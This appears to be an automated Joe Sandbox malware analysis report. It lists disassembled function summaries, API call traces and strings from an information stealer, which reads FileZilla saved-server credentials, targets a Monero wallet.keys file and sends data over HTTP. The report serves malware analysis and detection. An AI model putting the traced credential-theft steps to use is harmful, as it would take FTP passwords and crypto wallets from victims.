Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 445025cdba1d0051fb404746735fdc197c3392f185646acb958253fca125b71c
Instruction ID: 46e9bf5d76fa93b7f22fb4caaed577dd439d5cd7e7fbaea0e929ff11d60d58f8
Opcode Fuzzy Hash: 445025cdba1d0051fb404746735fdc197c3392f185646acb958253fca125b71c
Instruction Fuzzy Hash: E9315CF3F045104BE3545D2AEC95767B6C6EBC4320F2B823DDA89DB780D8795C0682D6

Function 009686DA Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65774c3c86601e7192355e9f2a3eada0acbbde60d24109ba058990b11909ee97
Instruction ID: b9a0afeef0ab087d64b4cec06bbd786b0aa0e263ffdc293536494053bf4c97b0
Opcode Fuzzy Hash: 65774c3c86601e7192355e9f2a3eada0acbbde60d24109ba058990b11909ee97
Instruction Fuzzy Hash: 0331ABB360C704AFE701AE5ADC817BAB7DAEFC4661F16892DD6C0C3B14D67198418693

Function 00539750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00530250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 00538DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00538E0B

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,00F199F0,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

Part of subcall function 005299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005299EC
Part of subcall function 005299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00529A11
Part of subcall function 005299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00529A31
Part of subcall function 005299C0: ReadFile.KERNEL32(000000FF,?,00000000,0052148F,00000000), ref: 00529A5A
Part of subcall function 005299C0: LocalFree.KERNEL32(0052148F), ref: 00529A90
Part of subcall function 005299C0: CloseHandle.KERNEL32(000000FF), ref: 00529A9A

Part of subcall function 00538E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00538E52

GetProcessHeap.KERNEL32(00000000,000F423F,00540DBA,00540DB7,00540DB6,00540DB3), ref: 00530362
RtlAllocateHeap.NTDLL(00000000), ref: 00530369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00530385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00540DB2), ref: 00530393
StrStrA.SHLWAPI(00000000,<Port>), ref: 005303CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00540DB2), ref: 005303DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00530419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00540DB2), ref: 00530427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00530463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00540DB2), ref: 00530475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00540DB2), ref: 00530502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00540DB2), ref: 0053051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00540DB2), ref: 00530532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00540DB2), ref: 0053054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00530562
lstrcat.KERNEL32(?,profile: null), ref: 00530571
lstrcat.KERNEL32(?,url: ), ref: 00530580
lstrcat.KERNEL32(?,00000000), ref: 00530593
lstrcat.KERNEL32(?,00541678), ref: 005305A2
lstrcat.KERNEL32(?,00000000), ref: 005305B5
lstrcat.KERNEL32(?,0054167C), ref: 005305C4
lstrcat.KERNEL32(?,login: ), ref: 005305D3
lstrcat.KERNEL32(?,00000000), ref: 005305E6
lstrcat.KERNEL32(?,00541688), ref: 005305F5
lstrcat.KERNEL32(?,password: ), ref: 00530604
lstrcat.KERNEL32(?,00000000), ref: 00530617
lstrcat.KERNEL32(?,00541698), ref: 00530626
lstrcat.KERNEL32(?,0054169C), ref: 00530635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00540DB2), ref: 0053068E

Strings

\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 005302A4
<User>, xrefs: 00530410
login: , xrefs: 005305CA
browser: FileZilla, xrefs: 00530559
<Port>, xrefs: 005303C6
url: , xrefs: 00530577
profile: null, xrefs: 00530568
<Host>, xrefs: 0053037C
<Pass encoding="base64">, xrefs: 0053045A
password: , xrefs: 005305FB

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 1e89ccb4e4ae98ddf07c873500403c9e35c06443a07a8142be7ae1aa880a227e
Instruction ID: 7e7b60919719e0cb728100c62e0f5e529da0825b3c3de287f295630377906c21
Opcode Fuzzy Hash: 1e89ccb4e4ae98ddf07c873500403c9e35c06443a07a8142be7ae1aa880a227e
Instruction Fuzzy Hash: 88D11F72900209ABCB04EBF4DD9AEEEBB38BF94300F548418F142B7195DF74AA45DB65

Function 00525960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

Part of subcall function 005247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00524839
Part of subcall function 005247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00524849

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 005259F8
StrCmpCA.SHLWAPI(?,00F1E748), ref: 00525A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00525B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00F1E778,00000000,?,00F0FA88,00000000,?,00541A1C), ref: 00525E71
lstrlen.KERNEL32(00000000), ref: 00525E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00525E93
RtlAllocateHeap.NTDLL(00000000), ref: 00525E9A
lstrlen.KERNEL32(00000000), ref: 00525EAF
lstrlen.KERNEL32(00000000), ref: 00525ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00525EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00525F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00525F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00525F4C
InternetCloseHandle.WININET(00000000), ref: 00525FB0
InternetCloseHandle.WININET(00000000), ref: 00525FBD
HttpOpenRequestA.WININET(00000000,00F1E808,?,00F1DF48,00000000,00000000,00400100,00000000), ref: 00525BF8

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,00F199F0,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

InternetCloseHandle.WININET(00000000), ref: 00525FC7

Strings

------, xrefs: 00525D4C
------, xrefs: 00525C0B
------, xrefs: 00525A96
", xrefs: 00525CD5
", xrefs: 00525E16

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 05423f7edd73ebbbb2dd92fa418bc9f8de13dec81c61079ae067135c5be6defd
Instruction ID: 6deedd670b95ad533e933340c152e64cb9f2e0687e1561172d24ca2e481cbebe
Opcode Fuzzy Hash: 05423f7edd73ebbbb2dd92fa418bc9f8de13dec81c61079ae067135c5be6defd
Instruction Fuzzy Hash: BB120E72820119ABDB15EBA0DC99FEEBB78BF94700F504199F14772091EF702A49CF65

Function 0052CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,00F199F0,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

Part of subcall function 00538B60: GetSystemTime.KERNEL32(00540E1A,00F0FB78,005405AE,?,?,005213F9,?,0000001A,00540E1A,00000000,?,00F199F0,?,\Monero\wallet.keys,00540E17), ref: 00538B86

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0052CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0052D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0052D0CE
lstrcat.KERNEL32(?,00000000), ref: 0052D208
lstrcat.KERNEL32(?,00541478), ref: 0052D217
lstrcat.KERNEL32(?,00000000), ref: 0052D22A
lstrcat.KERNEL32(?,0054147C), ref: 0052D239
lstrcat.KERNEL32(?,00000000), ref: 0052D24C
lstrcat.KERNEL32(?,00541480), ref: 0052D25B
lstrcat.KERNEL32(?,00000000), ref: 0052D26E
lstrcat.KERNEL32(?,00541484), ref: 0052D27D
lstrcat.KERNEL32(?,00000000), ref: 0052D290
lstrcat.KERNEL32(?,00541488), ref: 0052D29F
lstrcat.KERNEL32(?,00000000), ref: 0052D2B2
lstrcat.KERNEL32(?,0054148C), ref: 0052D2C1
lstrcat.KERNEL32(?,00000000), ref: 0052D2D4
lstrcat.KERNEL32(?,00541490), ref: 0052D2E3

Part of subcall function 0053A820: lstrlen.KERNEL32(00524F05,?,?,00524F05,00540DDE), ref: 0053A82B
Part of subcall function 0053A820: lstrcpy.KERNEL32(00540DDE,00000000), ref: 0053A885

lstrlen.KERNEL32(?), ref: 0052D32A
lstrlen.KERNEL32(?), ref: 0052D339

Part of subcall function 0053AA70: StrCmpCA.SHLWAPI(00F197A0,0052A7A7,?,0052A7A7,00F197A0), ref: 0053AA8F

DeleteFileA.KERNEL32(00000000), ref: 0052D3B4

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 3792ad7c753a2e868f6ddc64582a1e1b920280f5bfcaaa2b32b80d16c190e012
Instruction ID: 6eb110d2ca0670eb9689b181b113010355766c4ce93d567362a3276ddb089de5
Opcode Fuzzy Hash: 3792ad7c753a2e868f6ddc64582a1e1b920280f5bfcaaa2b32b80d16c190e012
Instruction Fuzzy Hash: 9DE1227291020AABCB04EBA0DD9AEEEBB78BF54301F104158F147B7091DE75AE45CF66

Function 0052C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,00F199F0,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,00F1D4B8,00000000,?,0054144C,00000000,?,?), ref: 0052CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0052CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0052CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0052CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0052CAD9
StrStrA.SHLWAPI(?,00F1D470,00540B52), ref: 0052CAF7
StrStrA.SHLWAPI(00000000,00F1D5A8), ref: 0052CB1E
StrStrA.SHLWAPI(?,00F1DC40,00000000,?,00541458,00000000,?,00000000,00000000,?,00F198B0,00000000,?,00541454,00000000,?), ref: 0052CCA2
StrStrA.SHLWAPI(00000000,00F1DA80), ref: 0052CCB9

Part of subcall function 0052C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0052C871
Part of subcall function 0052C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0052C87C

StrStrA.SHLWAPI(?,00F1DA80,00000000,?,0054145C,00000000,?,00000000,00F198F0), ref: 0052CD5A
StrStrA.SHLWAPI(00000000,00F199B0), ref: 0052CD71

Part of subcall function 0052C820: lstrcat.KERNEL32(?,00540B46), ref: 0052C943
Part of subcall function 0052C820: lstrcat.KERNEL32(?,00540B47), ref: 0052C957
Part of subcall function 0052C820: lstrcat.KERNEL32(?,00540B4E), ref: 0052C978

lstrlen.KERNEL32(00000000), ref: 0052CE44
CloseHandle.KERNEL32(00000000), ref: 0052CE9C

Strings

, xrefs: 0052C9C6

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 6679010666b1f445f61fa35f5ba82b30f4574e4d1271a7cc36611eac160173b8
Instruction ID: 16152153b1a04ed4fc5b59d5ff93100734fa677289a33c1f1f963c7c245597cd
Opcode Fuzzy Hash: 6679010666b1f445f61fa35f5ba82b30f4574e4d1271a7cc36611eac160173b8
Instruction Fuzzy Hash: 23E10A72900109ABDB15EBA0DC9AFEEBB78BF94300F004159F14677191EF746A4ACF66

Function 00538320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

RegOpenKeyExA.ADVAPI32(00000000,00F1B0C8,00000000,00020019,00000000,005405B6), ref: 005383A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00538426
wsprintfA.USER32 ref: 00538459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0053847B
RegCloseKey.ADVAPI32(00000000), ref: 0053848C
RegCloseKey.ADVAPI32(00000000), ref: 00538499

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

Strings

?, xrefs: 0053837A
%s\%s, xrefs: 0053844D
- , xrefs: 005385A3

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 18f332cdf1c112b14c6630e6197a9f6781d533606cfa31189422c6f22c1234c9
Instruction ID: bc30d0f89d0d9d99abf317a596355f90192c2a17e66682c17d3e0031ada20ddc
Opcode Fuzzy Hash: 18f332cdf1c112b14c6630e6197a9f6781d533606cfa31189422c6f22c1234c9
Instruction Fuzzy Hash: FC811E71910219ABDB28DB50CC95FEABBB8FF48700F008699F14AA6180DF756B85CF95

Function 00534D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

